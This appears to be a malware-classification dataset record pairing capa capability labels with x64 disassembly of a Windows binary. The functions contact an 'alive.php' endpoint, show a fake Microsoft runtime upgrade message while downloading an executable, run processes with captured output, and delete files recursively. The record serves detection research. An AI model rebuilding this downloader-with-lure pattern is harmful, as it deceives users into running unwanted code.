joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009940
Capabilities:
Create http request

Disassembly:
sub rsp, 0x478
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov dword [rsp + 0x34], 0
lea rcx, [0x1402c0478]
call fcn.140006920
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x48], rax
lea r8, str._php_alive.php
lea rdx, [0x1402c0268]
lea rcx, [rsp + 0x58]
call fcn.1400069f0
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.140006920
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000101
mov r9d, 0xffffffff
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x58]
call fcn.140006610
cmp qword [rsp + 0x38], 0
je 0x140009a7b
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
call fcn.14000b3b0
movzx eax, al
test eax, eax
je 0x140009a70
cmp dword [rsp + 0x30], 0
jbe 0x140009a70
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0x400
jae 0x140009a33
jmp 0x140009a38
call fcn.1401b988c
mov rax, qword [rsp + 0x40]
mov byte [rsp + rax + 0x60], 0
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x60]
cmp eax, 0x6f
jne 0x140009a70
mov eax, 1
imul rax, rax, 1
movsx eax, byte [rsp + rax + 0x60]
cmp eax, 0x6b
jne 0x140009a70
mov dword [rsp + 0x34], 1
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x478
ret
Function at 0x14000b260
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x180], rax
call fcn.14000bd80
mov r8d, 0x104
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000b2a7
xor eax, eax
jmp 0x14000b38a
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000b2c8
xor eax, eax
jmp 0x14000b38a
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.14003fb54
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov r9, qword [rsp + 0x28]
mov r8d, dword [rsp + 0x20]
mov edx, dword [rsp + 0x30]
lea rcx, [rsp + 0x70]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x14000b316
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.14002a4fc
xor eax, eax
jmp 0x14000b38a
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x38]
lea rdx, [0x1402023e8]
mov rcx, qword [rsp + 0x28]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x14000b374
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 0xc]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.14002a4fc
mov eax, 1
jmp 0x14000b38a
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14002a4fc
xor eax, eax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x198
ret
Function at 0x14000b3b0
Capabilities:
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x248
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x20], 0
mov r8d, 0x200
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1401f22d0
mov eax, dword [rsp + 0x260]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x258]
call fcn.1401f22d0
mov rax, qword [rsp + 0x268]
mov dword [rax], 0
lea r9, [rsp + 0x20]
mov r8d, 0x200
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000b448
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
je 0x14000b4ae
mov rax, qword [rsp + 0x268]
mov eax, dword [rax]
add eax, dword [rsp + 0x20]
cmp eax, dword [rsp + 0x260]
jbe 0x14000b46d
xor al, al
jmp 0x14000b4fe
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x268]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x258]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
lea rdx, [rsp + 0x30]
call fcn.1401f1c30
mov rax, qword [rsp + 0x268]
mov eax, dword [rax]
add eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x268]
mov dword [rcx], eax
cmp dword [rsp + 0x20], 0
je 0x14000b4d0
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x258]
call fcn.14000c2f0
test rax, rax
je 0x14000b41e
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x258]
call fcn.14000c2f0
test rax, rax
jne 0x14000b4f1
mov dword [rsp + 0x24], 1
jmp 0x14000b4f9
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x248
ret
Function at 0x14000e930
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x118
lea rcx, str.196BB40D_1578_3D01_B289_BEFC77A11A1E
call sub.msi.dll_MsiRecordGetInteger
cmp eax, 5
je 0x14000eba3
lea rcx, str.DA5E371C_6333_3D8A_93A4_6FD5B20BCC6E
call sub.msi.dll_MsiRecordGetInteger
cmp eax, 5
je 0x14000eba3
lea rcx, str.F0C3E5D1_1ADE_321E_8167_68EF0DE699A5
call sub.msi.dll_MsiRecordGetInteger
cmp eax, 5
je 0x14000eba3
lea rcx, str.1D8E6291_B0D5_35EC_8441_6616F567A0F7
call sub.msi.dll_MsiRecordGetInteger
cmp eax, 5
je 0x14000eba3
lea r8, str._vcredist_x86.exe
lea rdx, [0x1402c0260]
lea rcx, [rsp + 0x48]
call fcn.1400069f0
nop
lea rcx, [rsp + 0x48]
call fcn.140006920
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x14000eb89
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x90], rax
lea rdx, str.Upgrading_library
mov rcx, qword [rsp + 0x50]
call fcn.140005fa0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xb0], rax
lea r8, [0x1402c0470]
lea rdx, [0x1402c0478]
lea rcx, [rsp + 0xe0]
call fcn.140006930
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.140006920
mov qword [rsp + 0xb8], rax
lea rdx, str.Please_wait.
mov rcx, qword [rsp + 0x70]
call fcn.140005fa0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc0], rax
lea rdx, str.Upgrading_Microsoft_runtime_library_for_the_first_running..
mov rcx, qword [rsp + 0x80]
call fcn.140005fa0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc8], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x90]
call fcn.140005f40
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xd0], rax
lea r8, str._download_updates_vcredist_x86.exe
lea rdx, [0x1402c0268]
lea rcx, [rsp + 0xd8]
call fcn.1400069f0
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.140006920
nop
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x120]
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
mov rdx, rax
lea rcx, [0x1402bf130]
call fcn.14001d7e0
nop
lea rcx, [rsp + 0xd8]
call fcn.140006610
nop
lea rcx, [rsp + 0xe0]
call fcn.140006610
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0x48]
call fcn.140006610
mov eax, dword [rsp + 0x40]
jmp 0x14000eba8
mov eax, 1
add rsp, 0x118
ret
Function at 0x14000f890
Capabilities:
Check if file exists
Delete directory
Delete file

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x4b8
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x14000f8c7
xor eax, eax
jmp 0x14000fa2c
lea rcx, [rsp + 0x40]
call fcn.14003fb5c
nop
mov r8, qword [rsp + 0x4c0]
lea rdx, str._s.
lea rcx, [rsp + 0x380]
call fcn.1400137c0
xor r8d, r8d
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x40]
call fcn.14003fcb4
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14000f9e2
lea rcx, [rsp + 0x40]
call fcn.14003ffa0
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x40]
call fcn.14004055c
test eax, eax
jne 0x14000f9dd
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x40]
call fcn.1400400a4
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140006920
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1401cd070
lea rcx, [rsp + 0x38]
call fcn.140006610
lea rcx, [rsp + 0x40]
call fcn.14000bdf0
test eax, eax
je 0x14000f9ab
lea r9, [rsp + 0x80]
mov r8, qword [rsp + 0x4c0]
lea rdx, str._s_s
lea rcx, [rsp + 0x180]
call fcn.1400137c0
lea rcx, [rsp + 0x180]
call fcn.14000f890
jmp 0x14000f9dd
lea r9, [rsp + 0x80]
mov r8, qword [rsp + 0x4c0]
lea rdx, str._s_s
lea rcx, [rsp + 0x280]
call fcn.1400137c0
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x14000f907
lea rcx, [rsp + 0x40]
call fcn.14003fc48
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x14000fa16
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x40]
call fcn.14003fbc0
mov eax, dword [rsp + 0x24]
jmp 0x14000fa2c
mov dword [rsp + 0x28], 1
lea rcx, [rsp + 0x40]
call fcn.14003fbc0
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x4b8
ret

Function at 0x140010550
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rcx, [rsp + 0x30]
call fcn.140006060
nop
mov rax, qword [rsp + 0x50]
add rax, 0x350
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1400305ac
lea rcx, [rsp + 0x30]
call fcn.140006920
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.explore
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rsp + 0x30]
call fcn.140006610
add rsp, 0x48
ret
Function at 0x140011240
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call fcn.140006920
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
je 0x14001127c
mov eax, dword [rsp + 0x24]
and eax, 0x10
test eax, eax
je 0x14001127c
mov dword [rsp + 0x28], 1
jmp 0x140011284
mov dword [rsp + 0x28], 0
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x20], al
mov rcx, qword [rsp + 0x40]
call fcn.140006610
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x1400112b0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x28]
call fcn.140005f40
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call fcn.140005f40
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call fcn.140011240
movzx eax, al
test eax, eax
je 0x140011317
mov byte [rsp + 0x22], 1
lea rcx, [rsp + 0x28]
call fcn.140006610
movzx eax, byte [rsp + 0x22]
jmp 0x140011493
lea rcx, [rsp + 0x28]
call fcn.140007a60
dec eax
mov edx, eax
lea rcx, [rsp + 0x28]
call fcn.140012d00
movsx eax, al
cmp eax, 0x5c
je 0x140011343
mov dl, 0x5c
lea rcx, [rsp + 0x28]
call fcn.140012c00
lea rcx, [rsp + 0x50]
call fcn.1400122e0
nop
lea rcx, [rsp + 0x38]
call fcn.140006060
nop
mov byte [rsp + 0x21], 0
mov dword [rsp + 0x24], 0
jmp 0x140011372
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
lea rcx, [rsp + 0x28]
call fcn.140007a60
cmp dword [rsp + 0x24], eax
jge 0x1400113d2
mov edx, dword [rsp + 0x24]
lea rcx, [rsp + 0x28]
call fcn.140012d00
movsx eax, al
cmp eax, 0x5c
je 0x1400113b5
mov edx, dword [rsp + 0x24]
lea rcx, [rsp + 0x28]
call fcn.140012d00
movzx edx, al
lea rcx, [rsp + 0x38]
call fcn.140012c00
jmp 0x1400113d0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.1400135f0
mov dl, 0x5c
lea rcx, [rsp + 0x38]
call fcn.140012c00
jmp 0x140011368
lea rcx, [rsp + 0x30]
call fcn.140006590
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140013450
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
jmp 0x140011407
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.140012760
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x50]
call fcn.140013500
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140012720
movzx eax, al
test eax, eax
je 0x140011465
lea rcx, [rsp + 0x30]
call fcn.140006920
mov rcx, rax
call fcn.140006920
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x140011455
mov byte [rsp + 0x20], 1
jmp 0x14001145a
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x21], al
jmp 0x1400113f5
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x23], al
lea rcx, [rsp + 0x38]
call fcn.140006610
nop
lea rcx, [rsp + 0x50]
call fcn.1400125c0
nop
lea rcx, [rsp + 0x28]
call fcn.140006610
movzx eax, byte [rsp + 0x23]
add rsp, 0x98
ret
Function at 0x1400114b0
Capabilities:
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x158
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x160]
call fcn.140006920
lea r9, [rsp + 0x30]
xor r8d, r8d
lea rdx, [0x1402039bc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x14001151b
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x160]
call fcn.140006610
mov eax, dword [rsp + 0x20]
jmp 0x140011543
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x160]
call fcn.140006610
mov eax, dword [rsp + 0x24]
jmp 0x140011543
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x158
ret

Function at 0x140011570
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0xa0]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1400115a5
xor eax, eax
jmp 0x140011705
mov eax, dword [rsp + 0x40]
mov ecx, eax
call fcn.14003fb54
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov r9, rax
mov r8d, dword [rsp + 0x40]
mov edx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0xa0]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x14001160b
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.14002a4fc
xor eax, eax
jmp 0x140011705
mov dword [rsp + 0x40], 0x34
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
lea rdx, [0x1402023e8]
mov rcx, rax
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x14001165f
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.14002a4fc
xor eax, eax
jmp 0x140011705
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 8]
shr eax, 0x10
and eax, 0xffff
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 8]
and eax, 0xffff
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0xc]
shr eax, 0x10
and eax, 0xffff
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x5c]
lea rcx, [rsp + 0x80]
call fcn.140006300
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x80]
mov qword [rax], rcx
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call fcn.14002a4fc
mov eax, 1
add rsp, 0x98
ret
Function at 0x140011790
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1138
call fcn.1401b9f10
sub rsp, rax
mov rax, qword [0x140295a80]
xor rax, rsp
mov qword [rsp + 0x1120], rax
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x78], 0x18
mov dword [rsp + 0x88], 1
mov qword [rsp + 0x80], 0
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.1401f22d0
mov dword [rsp + 0xb0], MsiRecordGetInteger
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x108], rax
mov dword [rsp + 0xec], 0x101
xor eax, eax
mov word [rsp + 0xf0], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x1148]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400119a5
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140006060
nop
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
mov r8d, 0xfff
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140011938
cmp dword [rsp + 0x54], 0
je 0x140011938
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0x1000
jae 0x140011912
jmp 0x140011917
call fcn.1401b988c
mov rax, qword [rsp + 0x70]
mov byte [rsp + rax + 0x120], 0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x68]
call fcn.1400128f0
jmp 0x1400118ca
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x1140]
call fcn.140005f40
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x68]
call fcn.140006610
mov rax, qword [rsp + 0x1140]
jmp 0x1400119e2
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.error
mov rcx, qword [rsp + 0x1140]
call fcn.140005fa0
mov eax, dword [rsp + 0x50]
or eax, 1
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x1140]
mov rcx, qword [rsp + 0x1120]
xor rcx, rsp
call fcn.1401b9b30
add rsp, 0x1138
ret
Function at 0x1400154f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
xor eax, eax
test eax, eax
jne 0x140015508
mov rax, qword [rsp + 0x68]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov dword [rax], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140015564
mov eax, dword [rsp + 0x34]
jmp 0x1400155cd
cmp dword [rsp + 0x38], 1
je 0x140015579
cmp dword [rsp + 0x38], 2
je 0x140015579
mov eax, 0xd
jmp 0x1400155cd
cmp qword [rsp + 0x60], 0
je 0x1400155c0
cmp dword [rsp + 0x30], 0
je 0x1400155ae
mov eax, dword [rsp + 0x30]
xor eax, eax
test rax, rax
jne 0x1400155a5
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
movsx eax, byte [rcx + rax - 1]
test eax, eax
je 0x1400155ac
mov eax, 0xd
jmp 0x1400155cd
jmp 0x1400155c0
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x30]
mov dword [rax], ecx
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400194c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
add rax, 0x18
mov rcx, rax
call fcn.140006920
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0
je 0x140019530
mov dword [rsp + 0x34], 0
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x34]
jmp 0x1400195b4
mov dword [rsp + 0x30], 1
mov rcx, qword [rsp + 0x68]
call fcn.140006920
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0
jne 0x14001959e
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x38], eax
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x38]
jmp 0x1400195b4
mov dword [rsp + 0x3c], 0
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x3c]
add rsp, 0x58
ret
Function at 0x140019ae0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
add rax, 0x18
mov rcx, rax
call fcn.140006920
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140019b40
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x30]
jmp 0x140019bb4
mov rcx, qword [rsp + 0x68]
call fcn.140006920
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rsp + 0x34], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x34], 0
jne 0x140019b9e
mov dword [rsp + 0x38], 1
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x38]
jmp 0x140019bb4
mov dword [rsp + 0x3c], 0
mov rcx, qword [rsp + 0x68]
call fcn.140006610
mov eax, dword [rsp + 0x3c]
add rsp, 0x58
ret